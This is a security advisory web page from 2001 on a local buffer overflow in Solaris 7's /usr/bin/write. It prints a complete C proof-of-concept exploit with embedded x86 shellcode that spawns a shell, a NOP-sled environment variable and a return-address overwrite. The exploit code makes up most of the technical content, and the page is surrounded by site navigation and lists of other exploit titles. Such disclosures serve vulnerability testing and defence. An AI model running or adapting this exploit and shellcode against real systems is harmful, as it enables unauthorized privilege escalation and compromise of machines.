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Home  Ask the Team  Mailing Lists  Advertising Info  Advisories  About SecuriTeam  Blogs Brought to you by: Suppliers of: Website Testing Tools Network Testing Tools Software Testing Tools SecuriTeam in Your Inbox New vulnerability? New tool? Tell us (Our PGP key). Confidence 2013 5% Off any SANS course Use Code: SecuriTeam_5 Hack In Paris La Nuit du Hack Subjects of Interest: Vulnerability Management SQL Injection Buffer Overflows Active Network Scanning Fuzzing Fuzzer Report Network Security Network Scanner Pen Testing Security Scanner	Solaris /usr/bin/write exploit code released 21 Jan. 2001    Summary A security vulnerability in Solaris' /usr/bin/write program enables local users to make the program execute arbitrary code. An exploit code was released to test for this local vulnerability.   Credit: The information has been provided by Pablo Sor and Konrad Rieck. Free Website Security Scan Free Fuzzer Report Vulnerability Assessment Detect web app vulnerabilities University study comparing the top Accurate and automated scanning Get guidance from professionals. 6 commercially availble fuzzers. for networks of any size.    Details Protect your website! Free Trial, Nothing to install. No interruption of visitors. www.beyondsecurity.com/vulnerability-scanner Vulnerable systems: Sun Solaris version 7 Immune systems: Sun Solaris version 8 /usr/bin/write contains an exploitable buffer overflow in the second argument it receives. If this data exceeds a predefined length, inserting two values into the argument it is possible to copy the first one into the memory position pointed by the second one, using this technique it is possible to execute arbitrary commands. Exploit: The exploit code below demonstrates this vulnerability. #include <stdio.h> #include <unistd.h> /*  /usr/bin/write overflow proof of conecpt.  Tested on Solaris 7 x86  Pablo Sor, Buenos Aires, Argentina. 01/2000  psor@afip.gov.ar  usage: write-exp [shell_offset] [ret_addr_offset]  default offset should work. */ long get_esp() { __asm__("movl %esp,%eax"); } char shell[] = "\xeb\x45\x9a\xff\xff\xff\xff\x07\xff"                "\xc3\x5e\x31\xc0\x89\x46\xb7\x88\x46"                "\xbc\x88\x46\x07\x89\x46\x0c\x31\xc0"                "\xb0\x2f\xe8\xe0\xff\xff\xff\x52\x52"                "\x31\xc0\xb0\xcb\xe8\xd5\xff\xff\xff"                "\x83\xc4\x08\x31\xc0\x50\x8d\x5e\x08"                "\x53\x8d\x1e\x89\x5e\x08\x53\xb0\x3b"                "\xe8\xbe\xff\xff\xff\x83\xc4\x0c\xe8"                "\xbe\xff\xff\xff\x2f\x62\x69\x6e\x2f"                "\x73\x68\xff\xff\xff\xff\xff\xff\xff"                "\xff\xff";                /* shellcode by Cheez Whiz */ void main(int argc,char **argv) { FILE *fp; long magic,magicret; char buf[100],*envi; int i; envi = (char *) malloc(1000*sizeof(char)); memset(envi,0x90,1000); memcpy(envi,"SOR=",4); memcpy(envi+980-strlen(shell),shell,strlen(shell)); envi[1000]=0; putenv(envi); if (argc!=3) {  magicret = get_esp()+116;  magic = get_esp()-1668; } else {  magicret = get_esp()+atoi(argv[1]);  magic = get_esp()+atoi(argv[2]); } memset(buf,0x41,100); buf[99]=0; memcpy(buf+91,&magic,4); for(i=0;i<22;++i) memcpy(buf+(i*4),&magicret,4); execl("/usr/bin/write","write","root",buf,(char *)0); }  Comments: blog comments powered by Disqus	All Sections Security News Unix focus Exploits Tools Windows focus Security Reviews  Related Articles SimplyPlay v.66 .pls File Buffer Overflow Exploit NProtect Anti-Virus Privilege Escalation Vulnerability Ripe HD FLV Player Plugin for WordPress Multiple Script Direct Request Path Disclosure Vulnerability CMS snews SQL Injection Vulnerability WeBid SQL Injection Exploit Invision Gallery SQL Injection Exploit ArrowChat External.php Lang Parameter Traversal Local File Inclusion Exploit WinWebMail Server Stored XSS Exploit TFTP Server for Windows ST WRQ Buffer Overflow Exploit QNX QCONN Remote Command Execution Exploit Distinct TFTP Writable Directory Traversal Execution Exploit Xion Audio Player 1.0.127 (.aiff) Denial of Service Exploit Wordpress Postie Plugin Stored XSS Exploit Vice City Multiplayer Server Remote Code Execution Exploit Sphpforum Multiple Exploits NetOp Remote Control Client Buffer Overflow Exploit MS12-005 Microsoft Office ClickOnce Unsafe Object Package Handling Exploit MaxForum Local File Inclusion Exploit Inferno vBShout SQL Injection Vulnerability WP Effective Lead Management Persistent XSS Exploit  Featured Articles Social Engine Multiple Exploits Novell Groupwise Address Book Remote Code Execution Exploit GWebmail XSS & LFI RCE Vulnerabilities Acpid Privilege Boundary Crossing Exploit McAfee Virtual Technician MVT.MVTControl.6300 ActiveX GetObject() Vulnerability 'SonicWall Global Management System XSS Vulnerability' 'Opera file:// Overflow' 'vxFtpSrv CWD Command Overflow' 'Kaminsky DNS Cache Poisoning Flaw Exploit for Domains' 'freeSSHD Post Authentication Buffer Overflow (Exploit)' 'Symantec Altiris Client Service Local Privilege Escalation (Exploit)' 'Apple Mac OS X SMB Vulnerabilities (mount_smbfs and smbutil)' 'SurgeMail Webmail Host Header DoS' 'PHP Win32std Extension safe_mode/disable_functions Protections Bypass' 'WinPcap NPF.SYS Privilege Elevation Vulnerability (PoC exploit)' 'MailEnable Buffer Overflow (LOGIN, Exploit)' 'Durian Web Application Server Buffer Overflow (Exploit)' 'KsIRC Buffer Overflow Exploit (PRIVMSG)' 'Allied Telesyn AT-TFTP Server Filename Buffer Overflow (Exploit)' 'Windows WorkStation NetpManageIPCConnect (MS06-070, Exploit)'
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